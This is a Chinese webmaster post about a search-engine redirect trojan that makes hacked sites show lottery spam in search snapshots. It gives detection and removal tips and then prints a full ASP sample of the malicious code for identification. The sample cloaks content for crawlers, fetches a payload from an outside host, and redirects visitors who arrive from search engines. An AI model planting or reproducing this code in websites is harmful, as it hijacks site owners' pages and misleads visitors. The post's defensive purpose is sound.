搜索引擎链接跳转木马
浏览量:876
今天发现公司网站在搜狗的快照显示彩票，提示该网站可能因黑客侵入而存在安全风险。
挂马通告，近期出现专门针对百度，sogou等各大搜索引擎的挂马，挂马效果，是输入网址打开网站正常，但通过搜索引擎点击到网站时，网站会跳转到非法网站。
这类木马目前任何杀毒软件和木马工具都无法检测到，准确的说，他只是一段特殊的代码，所以只有人工查找和排除
百度木马原理：通过在网站首页中插入特殊的脚本，并且判断上一来源页面，所以当你从百度、google等搜索结果中点击网站时，他才会跳转到目标页面。
如果是直接输入的域名，他则不会跳转到目标页面，脚本写的非常狡猾。
检查首页的JS代码。看有没有类似script src="pic.js">
删除首页中嵌入的特殊代码，和删除pic.js、pic.jpg之类文件即可
下面提供一些出现过的木马代码供大家辨识：
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360","so","yahoo","bing","youdao")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso","360","so","yahoo","bing","youdao")
for i=0 to ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function
function mainpage()
dim mainindex,n,pagearray,indexquery,i
mainindex=LCase(request.ServerVariables("SCRIPT_NAME"))
indexquery=LCase(request.ServerVariables("QUERY_STRING"))
mainpage= false
pagearray=array("/index.","/default.","/main.")
for i=0 to ubound(pagearray)
if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true
next
end function
function gethttp(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
gethttp=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End function
if isspider() and mainpage() then
dim mfso,mfileurl,mfilecon,wfile,htmls,stitle,remotehtml,bodyurl
bodyurl="http://www.dltechart.com/qi.txt"
remotehtml=gethttp(bodyurl)
stitle =remotehtml
mfileurl=Server.MapPath("images/pic.jpg")
Set mfso=Server.CreateObject("Scripting.FileSystemObject")
if mfso.FileExists(mfileurl) then
Set wfile=mfso.OpenTextFile(mfileurl, 1)
mfilecon=wfile.readAll
htmls=replace(mfilecon,"{期数}",stitle)
response.clear
response.write(htmls)
response.write(" ")
response.flush
wfile.Close
Set wfile=Nothing
Set mfso=Nothing
response.end
else
response.write("fn")
end if
end if
if (fromse() and mainpage()) then
response.clear
response.write("
")
response.flush
response.end
end if
感谢支持与鼓励～